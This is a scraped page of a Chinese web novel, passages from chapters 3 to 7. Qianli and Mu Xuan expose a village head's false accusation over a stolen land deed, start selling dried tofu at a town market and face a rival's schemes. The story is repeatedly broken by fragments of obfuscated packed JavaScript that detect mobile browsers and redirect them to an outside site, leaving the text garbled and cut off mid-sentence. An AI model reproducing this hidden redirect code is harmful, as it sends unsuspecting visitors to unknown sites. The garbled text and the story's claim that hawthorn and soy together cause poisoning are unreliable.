l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144249|196355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野鸡颈骨被一击毙命,伤口极小。 他清理鸡毛的手法快、狠、准,带着一种熟练的手法,不一会儿,鸡汤就炖好了。 千璃接过穆玄递过来的鸡汤。野鸡炖出来汤金黄清亮,只需一小撮盐粒,就非常鲜美了。她小口喝着,一口汤一口肉,胃熨帖了许多,多日苍白的脸都多了几分血色。 “谢谢。”千璃轻声说。 “嗯。”穆玄应了一声,顿了顿,补充道:“地契的事,不要担心,我会帮你留意的。” 千璃愕然抬头,他竟然知道? “那天回来之后,我发现房屋内有许多翻动的痕迹,虽然都复原了,但我想,定是有人进来偷了东西。” “别怕,有我在。” 千璃莫名松了口气,多日来的焦虑和恍然都减轻了许多。还能怎么办呢?走一步看一步吧。 然而,不等千璃捉出那盗贼,柳玉娥的阴招就接踵而来。 先是村里突然传起流言蜚语,说千璃的方子会“伤地气”、“破坏老祖宗的规则会遭天谴”,还说穆玄上山遭遇熊瞎子就是来自山神爷的警告,穆家媳妇就是个骗子等等。这些流言来的突兀,却十分精准地命中一些保守村民的心理。 有人信了。 紧接着,是穆玄田里莫名多了许多脚印,稻谷没什么事,就纯粹膈应人。千璃晒过的山药也被人偷走一些。 幕后那人手段卑劣却非常有效,虽然不致命却极其恶心人。千璃猜到这人一定还有更恶毒的后手。 果不其然,几日后的正午。村里突然响起了紧急的锣鼓声,是里正召集议事的信号。 柳富贵站在村长老槐树下,面色严肃,身边站着眼神闪烁的云大嫂和几个身着衙役打扮的人。 “诸位乡亲,”柳富贵清了清嗓子,“这几位是县衙的差爷。他们接到举报来核查穆家村的户田,也是为了防止有人隐匿田产、逃避税赋,现在穆家村需要重新勘验各家户籍地契,主要是……避免有逃户出没。” 他的目光,似有意似无意,落在了匆匆赶来的千璃和穆玄身上。 千璃的心,猛地沉了下去。 她终于知道被偷走的房契,是用来做什么了! 这一招真绝啊! 他们竟是要在官面上釜底抽薪!先倒打一耙让她这个“外来户”做黑户逃户,如若她真的中了计,那根本就是有理也说不清了。 云芳和里正勾结,以此大做文章,竟是要让她彻底身败名裂。 千璃站在人群边缘,看着柳富贵义正辞严的丑陋嘴脸,看着云芳那掩饰不住的得意,看着身边穆玄骤然绷紧的侧脸。 突然发现,有时候,不是自己不去招惹别人就能相安无事的,有些人,你不狠狠打击他一下,他还真当你好惹。 4. 第 4 章 突然柳玉娥大喊一声,眼神得意,“诶,官爷!咱们村前几年有个逃荒来的云家,他们的身份不清不楚的,你们可一定要查清楚呀。” 在场众人一片沉寂,没有人搭话。 再蠢的人都知道这一局是专门针对云家二娘的,涉及官府的事,他们万万不敢多掺和。 “而且按照大周律,暂住满三年却未补全户籍者,当按照流民处置。”黑脸捕快持刀上前,紧紧盯着云千璃,“云氏,你可能拿的出户籍或者田契证明?” 他目光在云千璃身上一扫而过,虽不愿干这害人的事,但若有人举报却不处置,那就是他的失职了。 柳富贵更是端起架子,一脸为了千璃好的模样,“正是,穆家媳妇,身正不怕影子斜,你若真是清白的,就把东西拿出来给官爷看看。” 云大嫂更是一脸幸灾乐祸,这小贱蹄子终于被她抓到把柄了,上次出的丑让她被笑了不知道多久。 “是啊,要真不是逃户,谁还能冤枉你不成?” 围观的村民开始窃窃私语,谁都不敢得罪。不少人都参加过穆玄的婚礼,自然知道云千璃是正经娶过门的妻子,但……如若她真的没有上户籍,那他们村就是包庇逃户了,这个罪名可不小,谁都不敢冒这个险乱求情。 千璃按了按穆玄的手背,示意他不要慌乱。 “官爷要查,民妇自是配合。”她上前一步,“只是……民妇却也不能被人白白诬陷,若有人恶意诬告,官爷是否也要追究诬告之人罪责呢?” 黑脸捕快眼神微动,这妇人倒有几分胆识。 “那是自然。” 柳玉娥心下一紧,莫名有些退缩却强装镇定,“你就是来历不明,要真的不怕,你倒是把户籍和地契拿出来呀!” “嗤。”千璃笑了,“柳玉娥你莫不是忘了自个儿还喝过我的喜酒呢,来历不明?亏你也好意思说。” 她从怀里取出一个油纸包,打开之后,里面赫然就是崭新的户籍文书。 上次去镇上,穆玄就同她一起将这个办理好了,虽然大部分人不太相信穆家老大会这么快才让她上户籍,怎么说都要等新妇怀孕后才允许的。 “官爷,此乃民妇的户籍,三个月前由县衙发放,这儿还有印章呢。” 黑脸捕快接过千璃递过来的户籍文书,仔细查验,“云千璃,年十八。原籍江南府临水县云家村,元和七年婚配入西北府兰陵县穆家村,夫穆玄。” 纸张、印迹、笔记、编号一一核对无误,这确实是正规得不能再正规的户籍了。 “这……”他看向柳富贵和柳玉娥道:“你们?可还有话说?” 柳玉娥不敢置信地望着千璃,声音尖锐刺耳,“就算有户籍又如何?你去查她的地契啊,指不定就是偷了别人的地盖了房,你让她拿出来看看啊!” 黑脸捕快有些不悦地皱了皱眉,强忍住不喜。 云大嫂则是在后边沾沾自喜道,就算有户籍又如何,她的地契早就已经被我偷走了,我看你怎么拿出来地契。 你还能变出来不成? 穆玄看着陌生的里正等人,往日关怀备至的脸变成扭曲的面孔,心头怒气早已积满,实在是欺人太甚! 他悄悄握紧拳头,恨不得给他们一个教训,还是千璃强压住他才罢休。 千璃没有害怕,反而笑得一脸从容,仿佛一切尽在掌握之中。 “你就那么笃定我的地契拿不出来吗?”千璃疑惑地望向云大嫂,忽而开口道:“莫非……你知道它在哪里?” “你莫要血口喷人!”云大嫂心虚地瞥了眼黑脸捕快,看他没反应才稍微硬气反驳,“云二娘,你拿不出来就别在这乱攀咬人!” “哦?好吧,我还以为你知道呢。”千璃点点头,转向黑脸捕快,“官爷明察,民妇三日前家中遭贼,什么东西都没丢就丢了这地契,当时民妇就怀疑是村中人所为,却迟迟没有证据只能无奈作罢。” 柳玉娥慌忙打断千璃,“你说遭贼就遭贼?莫不是你心虚,怕被查出来才编造失窃的吧!” “你这话倒有意思。”千璃继续从怀中取出第二样东西,那是一张按了手印的契书。 “这是当年我爹娘买房时留下的买卖契书。”她小心展开,“上面卖主名字、我爹的名字、牙人手印和签字一应俱全,甚至柳里正您的盖章也在上面。” 黑脸捕快没想到这妇人手段如此了得,接过地契再次核验无误后点了点头,“是真的。” “有此契书在,足以证明那块地是我爹娘合法购置的。” “另外,官爷,本大周朝律法是否有规定,地契失踪后,户主可以向县衙户房申请补办?” “可以补办,只要买卖契书在手,缴纳补办工本费即可补发新地契。” “那好,想必这样东西官爷也清楚了。”千璃又气定神闲地从怀里取出第三样东西,正是新的地契! 哗! 村民们议论的声音更大了,这么看来穆家媳妇真真是被冤枉极了!一瞬间,村民们几乎是一边倒的鄙夷地看着云芳三人,臭不要脸、恶毒心肠的话夹杂其中。 “三日前我发现地契被盗,当日不敢耽搁,立即去了县衙补办,受理民妇一事的,是当日值班的李书吏。” “官爷自可差人回县衙查询记录。” 环环相扣,证据齐全,再没有辩解的可能。 柳富贵他们千算万算,也没算到千璃竟如此大胆冷静地补齐了手续,此时在他们手里的旧地契不仅不能拿出来,反而更是烫手山芋一般! 拿出来就坐定了他们是盗贼诬告的可能。 黑脸捕快此时看向千璃的目光带着一丝赞赏,好一个有仇必报的烈女子! 他转身望向柳富贵等人,语气冰冷,“柳里正,你身为一村之主,伙同他人做局诬告他人,欺瞒真相,未经核实更是上报县衙,欺上瞒下,你说,该当何罪!” 柳里正两腿一软,当即瘫倒在地,柳玉娥和云大嫂更是惊慌失措,两股战战。 千璃望着这些人后悔的神情,心底如同夏天喝了一口冰水一般爽快,她手一指,“官爷, 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“等等!”千璃忽然走到云大嫂面前,“地契是不是在你手里?” “没、没有……我……”云大嫂支支吾吾。 “如果你现在告诉我地契的地点,我想可以考虑撤销对你的状告,想一想宝哥儿吧,你也不想他小小年纪就没了娘吧?” 云大嫂此刻早已方寸大乱,她脱口而出:“在里正家柳玉娥的房间里,床底下有个暗格!” 完了。 柳富贵面如死灰,连狡辩都没了力气,本来还想花钱操作一翻出来,这下子是真的再也没法翻身了。 铁证如山,此时云大嫂再蠢也是自己做了件败事。 全完了。 柳富贵、柳玉娥和云大嫂被带走,怕是再难回村里了。 穆家村村民这才敢小心翼翼地上前。他们围住云千璃七嘴八舌地道歉,有关心有感谢,也有为她感到高兴的。 云千璃不计前嫌,一一道谢便跟着穆玄回了家。 “你早就计划好等他们下套了。”穆玄忽然开口。 千里没有否认,步伐不变,“这世间,唯有自救才最可靠。毕竟户籍和地契我也确实是补办过的,这就行了不是吗?” 穆玄松了口气,将偷来的旧地契塞到千璃手里,“那想必这个你也不需要了,随你处置吧。” 至少看清了自己的娘子很厉害,不会被人欺负的事实。 这就足够了。 暮色四合,炊烟袅袅升起,两人的影子重重叠叠,归家心似箭。 穆家村诬告一案,以柳富贵为首的几人被剥夺良籍流放为结果。知县判语“诬告他人者,各反坐。”,意思就是柳富贵几人想让千璃作为黑户被流放,那他们自己就要承担他所诬告的罪的责罚。 约莫是大周朝更重律法,处理更为严苛。 没多久,穆家村就重新推举了新的里正上去,是大家伙公认的正直公平的村里老人。 5. 第 5 章 这日晌午,穆冬穆春兴高采烈地跑进院子里,小小的人背着大大的背篓,背篓里堆满了他们采到的野物。 “大嫂大嫂~快来看!我们找到了这个~” 千璃往穆春合起的双手里一瞧,饱满的青红枣子粒粒分明,个头却不算大,但在冬日里算难得的水果了。 她眼睛一亮,“枣子?你们是从哪儿得来的?” 说罢依次拿起穆冬穆春背上的背篓放到桌子上,又轻轻地拍了拍她和穆冬的裤脚和衣袖。 “我们在一处土坡的背面发现的,要不是穆冬哥不小心摔了一跤,我们可找不到那棵枣树。” 穆冬有些羞躁,怕千璃觉得他不靠谱,妹妹都没摔跤反而是他摔了,伸手轻轻拉了拉穆春让她别说了,“哪有!我那是脚滑!脚滑懂吗?” “哈哈哈哈哈哈~” 千璃怕再说下去,小孩就要恼羞成怒了,忙转移话题,“有没有人想吃山药枣泥糕的呀?嫂嫂现在需要两个小帮手,谁能来帮帮嫂嫂呢?” “我!我!还有哥哥。”穆春嘴角忍不住分泌口水,一边举手一边举起穆冬的手。 千璃将枣子放进竹编簸箕里,让俩人帮忙洗干净后,拿起竹签一个个麻利地去了核。 “大嫂,这个也能做糕点吗?直接吃就很好吃了。”穆春戳了戳枣子。 千璃不语,露出神秘微笑,只让俩人等在一旁。 她将去核的野枣放入蒸篓里,上锅隔水加热,随着柴火噼啪声响起,雾气萦绕间甜丝丝的枣香弥漫开来,让人闻之不禁口舌生津。 野枣软烂,千璃接着用杵臼捣烂成枣泥,再放入些许穆玄在山里寻来的野蜂蜜,搅拌至枣泥成深红糊糊状才停手。 另一边,又将同样蒸好的山药按照同样步骤捣成细腻洁白的山药泥。 “穆冬,帮嫂嫂拿些糯米粉来。” “好。” 千璃接过去后将山药泥加适量糯米粉和少许蜂蜜继续捣均匀,枣泥则是用一点点油炒干。再拿出简陋的正方形模具,一层山药泥一层枣泥,最后一层山药泥封顶的顺序叠好,按压成型。 “当当当当!山药枣泥糕好啦~” 脱去木筐后的糕点散发出诱人甜香,千璃用细麻线切割成四份。 “来,快来尝尝好不好吃。”她依次递给眼巴巴地等了半天的俩孩子,剩下的一块放进锅里留给穆玄回家吃。 穆春接过,吹凉后才很小心地咬下一口,糕点软糯清甜,入口绵软,山药和蜂蜜很完美地中和了野枣泥的酸味。 “好好吃!”穆春吃得满足地眯起了眼睛,穆冬更是很快就吃完了一块,还意犹未尽地舔了舔嘴角。 “别急,慢慢吃,锅里还有很多呢。” 几块糕点下肚后,他们才细嚼慢咽起来,穆冬更是抬头一脸认真道:“嫂嫂,你做的这个比镇上那家王兴记还好吃。” 大哥以前也买过糖糕给他们,却没法做到嫂嫂这般好的味道。 千璃有些得意,那是!也不看你们嫂嫂以前探过多少店铺,结交多少美食大拿,就是没吃过猪肉也见过猪跑了。 更何况,古代的食物那可是纯天然没有添加剂的,制成后的效果更是翻倍。 嘿嘿,没想到自己在做菜上还有点天赋哇! “等着,这剩下的蜂蜜也别浪费,我给你们做个糖葫芦吃。” 千璃又用剩下的蜂蜜加水和一小块□□糖,放进锅里加热至冒泡,她拿山药豆轻轻一裹,颗颗饱满的山药豆就被均匀地抹上了琥珀色糖衣,再放入凉水里过一遍,放到簸箕上冷却。 不一会儿就定了型。 “这就是糖葫芦吗?” 千璃一人分了一串,“对的,镇上裹得都是山楂,我裹得是山药罢了。不过,糖吃多了坏牙齿,今日可就只能吃一串,剩下的嫂嫂帮你们收起来。” 正说着,院门吱呀一声,穆玄拎着两只肥硕的灰毛野兔走了进来,看上去收获颇丰。他的目光扫过千璃嘴角的一点糖片,眼里划过一丝笑意。 ”在做什么?在屋外头都闻见香味了。” “给穆冬穆春他们做零嘴呢,你也快来尝尝。”说罢千璃拿起一块山药枣泥糕递了过去。 穆玄放下猎物,囫囵擦干净双手才接过。他的手指粗粝带着一层厚厚的茧,不小心擦过千璃的指尖,俩人皆是一顿。 又装作若无其事地隔开了些距离。 屋里的床还算大,各自盖一张被子,即使他们睡在一起也从没靠近过。 穆玄尝了一口便都吃完了,还顺便消化了一根糖葫芦。看不出来他竟是甜食党。 “很好吃。你的手艺很好。” “那可是,大哥你可有口福啦~”穆春举着啃了一半的山药豆糖葫芦跑过来,高高举起献宝似的。 穆玄摸了摸穆春的发顶,“好吃也不能多吃,小心蛀牙。” “诶呀哥哥好扫兴!”穆春抱怨地躲开那双大手,做了个鬼脸就跑开了。 “你这皮猴。” 千璃将泡好的薄荷茶水递了一杯给他,“你今日怎得回来这样早?” 闻言穆玄顿了顿,才开口道:“晚间要下大雨,况且今日收获还算不错就早早回来了。” “不过,方才在山脚处,遇到了周夫子,他问起了冬哥儿和春姐儿。” 千璃喝茶的动作一顿,“哦?”一旁的穆冬和穆春也停下了打闹,好奇地望向自家哥哥。 “大哥,周夫子说起我们什么了呀?” “周夫子说,村塾年后要扩大招生,会多出几个名额,问我要不要把你们送过去识几个字。” “真的?”穆冬有些激动地站起身来,眼里满是激动,却没一会儿又黯淡下去,“可是、可是……束脩怎么办?” 即便村塾没有镇上的书院那么好,可一年也要二两银子的礼金,外加干肉、桂圆、芹菜等六礼。就这些都还没算上文房四宝加纸张的开销,对于普通农家来说,是一笔庞大的支出了。 穆春懂事地低下了头,小声说道:“虎子哥说,他爹娘为了让他上村塾,可是变卖了家里的几个会下蛋的老母鸡,东拼西凑才凑齐的学费。” 院子里因为两个小孩的话语,一时安静了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144251|196355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千璃突然噗嗤一笑,“好啦好啦,小朋友就不要想那么多了,你们只要告诉我,想不想读书?我要听实话。” 她走到穆冬穆春面前蹲下身来,平视他们的眼睛,“你们是想上村塾的,对吗?” 穆冬克服了心中的犹豫不决,忽而重重点头,“想!我想认字,虎子哥说,认了字就能算账看文书,以后再也不怕被骗了。” 穆春也怯生生地说,“我也想认字。大嫂教我们认字的时候,我太笨了,老是记不清楚自己的笔画。” 千里抬手轻轻摸了摸这两个懂事又贴心的小孩的头,柔声道:“这些都是大人的事情,既然你们确定了,大哥和嫂嫂就一定会送你们去。” “束脩的事,我来想办法。”穆玄的眼神沉稳又坚定,“年前镇上还会有两次大市集,我多跑几趟山里就能凑齐了。” 千里站起身,却是对他摇摇头,“打猎太危险了,冬天更是不安全。”她的手指了指院内晒好的山药和墙角堆放的黄豆。 “我们可以自己做些东西,拿去市集上卖。” “过年时候大家一定会往家里囤货,易储存又好吃的总能卖的上价。” 穆玄却有些担忧,“能卖什么呢?山药早就被裕丰楼买断了,我们不好再零卖,野枣这些东西山里人家也不算稀罕,更是卖不上好价。” “我们不卖这些。”千里眼睛发亮,“咱们卖豆制品。” “豆制品?” “对!”千里走到墙角,打开那袋子黄豆,“上次做的豆干,你们都说好吃,那一定有市场。我这次再多做些花样:豆浆、豆腐,这些东西成本低,易储存又味道好,到时候不怕有人不买。” 她越说越觉得这法子可行,“而且过年时拜神祭祖,斋戒日总用要拜上些素斋,豆干就很合适,咱们可以切得整齐些垒起来,油纸包好后再贴上一小张红纸,一定会有市场的。” 穆玄越听越觉得可行,只觉得千璃哪哪儿都厉害,点头赞同,“好,都听你的。” 穆冬闻言兴奋起来了,“大嫂,我们来帮你磨豆子!” 穆春也蹦跳着举起手来,“我也能!” 千璃笑着答应,“少不了你们的帮忙。不过……”她转头看向穆玄,“明日还得你陪我去镇上看看情况。” 第二日天色未明,千璃和穆玄就搭上了一趟最早去镇上的驴车赶往青城镇。 驴车行走在泥泞的碎石路上,快把人颠晕了,更不说晨露寒重,山路两旁的植物上都挂了薄薄白霜。 驴车比较简陋,圆拱形的车身仅盖了一层薄布,并不能起到挡风的作用。 穆玄坐在驴车外侧,一个人便挡住了大部分寒风,他回头小心叮嘱千璃系好外袍,不要着凉,又让她往里挪了挪,尽量避免风口。 车夫赵武余光瞥到这一幕,善意开口调侃道:“穆家小子,你对你媳妇真好啊。” 穆玄闻言只礼貌颔首,并不多话。 赵武摇了摇头笑过不再多嘴,架起驴车,约摸一个时辰就将两人送到了镇上。 千璃将六文钱数清递给赵武后便和他挥手道别。 6. 第 6 章 俩人抵达青城镇时,许多早点摊已支起架子,蒸气热腾腾地扑面而来,吆喝声间往来行人停下驻足。 镇东的集市是全镇最热闹的地方。千璃跟着穆玄一个个走过去,有卖鸡鸭鹅鱼的、针线织布的、瓜果蔬菜的,更有甚者还有卜卦说书的。 他们在一个卖豆芽的摊位停下。 摊主是个上了年纪但面相和善的大婶,豆芽根须泡在水里,有人要就割一点,千璃花了三文钱买了一斤豆芽。 “婶婶,你这摊位一天要多少文钱呐?”她一边掏钱一边随意闲聊。 “诶呦,那可不便宜呐,我这还算偏僻地段,每日都需十七文钱,要是再中心一点的摊子就比较贵了,那可是有一百文钱一天也不止呐!” “原来如此。我同夫君山上挖了点野菜也想着能来卖一卖,就怕这租金太高了。”千璃爽朗一笑,又送了她一小包山药豆就离开了,“谢谢婶婶!” “诶姑娘,怎的如此客气,多谢了哈!”豆芽摊婶婶没想到只是说了几句话就有这收获,开心地同千璃招手道谢。 他们第一次摆摊,不必租用太贵的地方,于是千璃同县上管理摊贩的市司缴纳了一笔二十文的摊位费。租下了一个不正也不偏的摊子,好处是靠近房屋住所。 他们将长且高的背篓一翻转当做摆桌,垫一张干净白布,再摆上卤好的豆干,就算正式营业了。 千璃在前叫卖道:“豆干!好吃又不贵的豆干嘞~尝一尝看一看,各位乡亲可别错过诶~” 一老叟被香味迷住,站停了脚跟,“老板,你这是什么?看上去还不错的样子。” 摆在台面上的豆干有五香的、淡盐味的、还有蜜汁的。色泽呈现淡褐色,纹理如叠起的纸层层堆起,凑近了闻是香料和豆味的混合体。 老叟接过千璃的试吃品,放入口中细细咀嚼,渐渐露出了惊讶的神色。 这豆干咸香适中,嚼劲十足,更是越吃越香,一点也没有豆制品的豆腥味和苦涩味。 “这是……豆菽所做?”老叟有些不敢置信。 千璃没否认,“是在下家里祖传的秘方,您要是觉得还不错呀,可买上些尝尝。” “哈哈哈,老头我正纠结买什么下酒菜呢!那就帮我来上一斤五香味的吧。”说罢将二十文钱递上,拎起豆干兴冲冲地走掉了。 后边还在观望的人试过之后无不啧啧称赞,各自都买上了一斤半两的,没一会儿的功夫,千璃带来的三十斤豆干就卖得一干二净了。 除去摊位费二十文,买黄豆的一百八十文,他们今日总共赚了四百文。 千璃信心满满,相信过不了多久就能凑够穆冬穆春他们的束脩了。 却没想到,因为他们生意太好,私底下招到了某些小人的记恨。 收拾好杂物,俩人又去粮食铺买了些黄豆和香料,多买了一包盐和一小包糖。此时的糖还是黄褐色的糖块,却因为是奢侈品而定价十分昂贵。 千璃想着以后能找找看有没有甜菜或甘蔗拿来榨糖,也不失为一个赚钱法子。 经过肉铺时,千璃停下了脚步。 摊位上主要摆放着鸡鸭鱼肉,羊肉也有少许,并着排放着下水、骨头和内脏。因为牛是很重要的农耕资源,大周律禁止任何人贩卖和购买牛肉,所以这里是没有出现的。 一肩宽背厚的络腮胡汉子手起刀落,系着油腻的围裙,熟练地剁着案板上的肉禽。 但更引起千璃注意的是,张屠户身后摆着的那个小竹笼,里边有两只肥嘟嘟的小猪崽,正一拱一拱的摇着尾巴吧唧嘴。 “在看什么?”穆玄顺着她的目光望去,“是想买些肉吗?” “不是,你看那几只豚。”千璃抬头,目光渴望,“我们把它们买回去好吗?” 虽然这里的猪肉多半是没有劁过的,但她知道怎么劁猪哇!一想起记忆里的爆炒五花肉、小酥肉和东坡肉,她就止不住地口水直流。 穆玄本来还在想着,这腥味极重的豚难以入口,一般是最穷苦的家庭买来尝个肉味的,千璃应该不会想尝试的吧。却没想到低头就看到她骤亮的眼瞳,好似星子入眸。 一时间连拒绝是什么都忘得一干二净了。 “好,我们买。” 千璃走到肉摊前,张屠户刚好切割好肉骨头,他拿起抹布擦干净汗水,粗声问道:“这位娘子,可是要买肉?这可都是今日一大早新鲜杀的,您看看。” 她大致望过去,没指着案板上的东西,反而指着屠户身后的竹笼:“东家,我想问下这些豚怎么卖?” 张屠户一愣,眼前的两人衣着打扮都极为干净整洁,不似那般贫穷人家,应该不至于买这些臭肉回家,却还是压下疑惑老实回答:“这些都是自家母猪下的猪崽,刚满月,如果娘子你要,是五十文一只。” “这时候买下,每日喂些谷糠或者水草浮萍,等到明年开春就能长上不少膘,好养活得很嘞。” 想来是因为当地人不懂如何处理才让猪被贱卖。 这个价格已是极为公道。 千璃当即买下量只猪崽,顺便买下装它们的竹笼,这样带走会方便许多。 张屠户帮他们用草绳拴住猪崽的手脚,又从一旁的木桶里捞出一副猪肥肠当做添头,用荷叶包严实了才递给千璃。 “娘子和你夫君以后要买肉,只管来找我张屠户,这个送你们尝尝。” “好,那就谢谢大哥了。千璃大方收下,又寒暄几句,才和穆玄带着不停拱拱拱的猪崽们离开。 回去的路上,穆玄扛着沉甸甸的竹笼忍不住问:“你真要养豚?” “那是当然了,”千璃认真科普,“你还记得家里剩下的豆渣吗?那些不仅能做豆肥买还是喂猪......你们叫豚的好饲料。它的粪便也能肥田,让庄稼长得更好。” 千璃停顿一下,又道:“而且,我想试试阉割这些小猪。 “阉猪?” 猪?好奇怪的叫法,不过随她吧,我知道是什么意思就好。 “对,就是劁公猪。你们吃到的一般都是没劁过的公猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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千璃和穆玄是不管的,小孩子嘛,总有些很新奇的想法。 次日,千璃照样带着做好的豆干成品和穆玄一起出发镇上。 却没想到他们刚摆好东西,正准备吆喝的时候,摊位前却是来了个膀大腰圆的汉子。他轻蔑地瞥了一眼摊上的东西,粗声粗气道:“新来的?懂不懂规矩!这一片能卖豆制品的只能是我们刘记!谁准你们自己做了卖的?” 说罢就想把豆干推倒在地。 穆玄眉头一皱,上前一步将千璃挡在身后。虽未说话,但高大的身形和冷峻的气势都让那个伙计心下一凛。 他冷冰冰地望向那汉,“有事?” 千璃从穆玄身后探出脑袋,“这位大哥,大家伙儿在这卖东西,都是各凭本事,最忌讳说一家独裁的情况,哪里有你们做了我们就不能做的道理。要是哪天你们想卖盐,难不成上边都得给你们让路不成?” 嚯!这个攀扯可不得了! 那汉子本来还想说几句狠话,一听千璃扯上贩盐却是吓得冷汗直流,他狠狠地瞪了千璃一眼,撂下一句“走着瞧!”,便灰溜溜地走了。 7. 第 7 章 望着那伙计离开的身影,千璃皱了皱眉头,没完全放下心来。 穆玄也盯着那人,“没想到第一日就被盯上。” “兵来将挡,水来土掩。”千璃将豆干摆摆好,“而且,不是还有你嘛。” 真有人搞事,你凶神恶煞往哪一站,闹事的准没了脾气。 她招呼起在一旁观望的客人,“没事了,真是抱歉,耽搁了你们的时间。” “害,云娘子你可别这么说,你家豆干那么好吃,招人记恨也是有的。” “是啊是啊,没想到这刘记豆坊的人竟如此蛮狠无理!” 就这么平静的过去了两日。 千璃他们的生意红火,刚推出的豆干不到晌午往往就被售卖一空。不仅是往来买豆干的人,就是隔壁邻里都对这对踏实能干的夫妻很有好感。 对面一卖云吞的老夫妻也常跟他们唠嗑,说起这刘记豆坊,原是镇上的老店铺,掌柜的是青城镇本地人,平日里爱贪些小便宜,这也不算什么大事。 就是他那个远房侄子,那天来砸场子的伙计刘大,平日里偷鸡摸狗不说,仗着自家舅舅同官府有那么一两丝远得排不上号的关系,在集市上刁蛮专横,就爱欺负些没有背景又生意好的新来小摊贩。 有些人不愿惹是生非,只想息事宁人,往往会给些银钱将他打发走,刘大靠着这个赚了不少钱。 众人对他也是敢怒不敢言。 “你们啊,那刘大指不定憋着什么坏招呢,还是小心一点比较好。”老妪友善提醒。 千璃认真谢过,心里对刘大会做什么下作手段有了猜想。 果不其然,第三日他们出摊时,就出了事。 三两熟客正在挑选豆干,一声凄厉哭喊忽而响起。只见一凶恶吊眉的胖妇人牵着一个捂着肚子哀叫不断的小男孩,跌跌撞撞地直奔千璃的摊位而来。 “就是他们!他们家的豆干有毒!”胖妇人指着千璃,恶声恶语,“我儿上午回去就是吃了你们家的豆干,没一会儿就上泻下吐,腹痛不止!大夫说是吃了不干净的东西,可怜我那小小的孩儿啊,竟因为你们的黑心糟了这无妄之灾!丧天良的玩意儿,为了赚钱真是什么都敢卖啊!” 闻言,千璃即使知道自己的豆干绝对不可能会坏,都是一大早做好的新鲜豆干,但内心还是不舒服极了,这妇人的话说得太脏。 那孩子约莫七八岁,此刻蜷缩着半个身躯,脸色发青,唇色惨白,额头上更是冷汗涔涔,发出微弱呻?吟。 周围围了一圈看热闹的人群,看到小孩的模样,对着千璃和穆玄指指点点,议论纷纷。 “诶呀,不可能吧,我还买过吃呢!这么干净的小娘子,这么会做那黑心肝的事?” "嚯,知人知面不知心,谁知道私底下都是什么人,我看呐,这家豆干还是别买了......" “这小孩看上去都要晕过去了,真可怜啊。” 卖云吞的老夫妻俩本想帮千璃说句公道话,却被旁人拉住了,示意他们别惹麻烦。 此刻,怕再说下去,千璃往后就再也没法在青城镇做生意了。 千璃打量着那对母子,做母亲的虽然表情夸张,却并不怎么着急带小孩看病,而是先来这里讹人,而那小孩虽脸色惨白神情痛苦,小腿却直打颤,口水还时不时流出,看上去像是急性肠胃炎的症状。 心下了然。 穆玄挡在摊位前方,煞气十足,只目光锐利地盯着那胖妇人,“哦?你说这孩子是吃了我们的豆干才如此,那我问你,你是何时购买?买的何种口味?剩余豆干可还在?” 胖妇人心下一愣,没想到他们不慌不忙还有余力反驳,这..... 她随即干哭得更大声,“就是在你们这买的,五香味的!那豆干我们早吃完了,哪里还有的剩。难不成你们还想赖账不成?!” “天啊,大伙儿来评评理啊!卖坏东西还有脸面在这质问!我告诉你,我儿要是有个三长两短,非把你摊子砸了不成!!” 这时人群外边挤进来两个人,正是刘记豆坊的刘掌柜和他侄子刘大。 刘大一脸果然如此的模样,“二叔,你看这外来的,卖的东西不干不净,这不是纯纯害人呢吗?” 那中年男子刘掌柜打量了一下千璃的摊位,又望了眼地上打滚的小孩,重重叹了口气,“小娘子,做生意最讲究的就是干净卫生,入口的东西关乎性命,怎能如此不讲诚信呢?你……” 千璃不等他说完,径直走向那小孩面前,胖妇人忙警惕地拦住她,“你别过来,你想干什么?不准碰我儿子!” “小朋友,告诉姐姐,你哪里疼?”千璃没理会她。 小孩有些害怕地抬头望了一眼娘亲,眼神躲闪,不自觉地舔了下嘴角。 千璃注意到那有些微小细碎的红色糖片,扑面而来一股酸味,小孩过了那么久还有呕吐倾向,却没能吐出来。 她心中越发肯定。 “这位大嫂,”千璃站起身,神色平静地面向胖妇人,“你一直说是我们家的豆干有问题,可又问了你家儿子吃豆干后又吃了些什么?” “你不要狡辩,莫不是你心虚了胡言乱语吧!” 千璃又转向人群,朗声道:“各位父老乡亲,我们在这摆摊数日,来我这买豆干的人数不胜数,可还有人吃出其他问题?” “我们天天买都没事!” “味道好着呢,我家老父就好这一口。” 刘大见状急忙嚷嚷,“也许就他们那块出现问题了,你又怎么狡辩?” 千璃冷冷地望了他一眼,忽而换了种语气朝那小孩问道:“告诉姐姐,你是不是偷偷吃了糖葫芦没告诉娘亲?” 小孩本就心虚,冷不丁地被说中,脱口而出,“你怎么知道?!”话一说出口他就知道错了,明明说好不能说的,小孩连忙捂住嘴看向自家娘亲。 人群顿时一片唏嘘! “大家伙都知道,山楂不能和豆制品一块吃,严重者会引发呕吐腹泻,”未熟透的野山楂更是毒性较大,这孩子完全是一时贪嘴。 妇人没想到还有反转,只嘴硬狡辩,“你、你胡说八道!” “是不是胡说,我想你自己更清楚。” “因为昨日香料不足,今早我们只供应了蜜汁和淡盐味的豆干,根本没卖五香味豆干!你是拿了昨日剩下的豆干喂了小孩,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 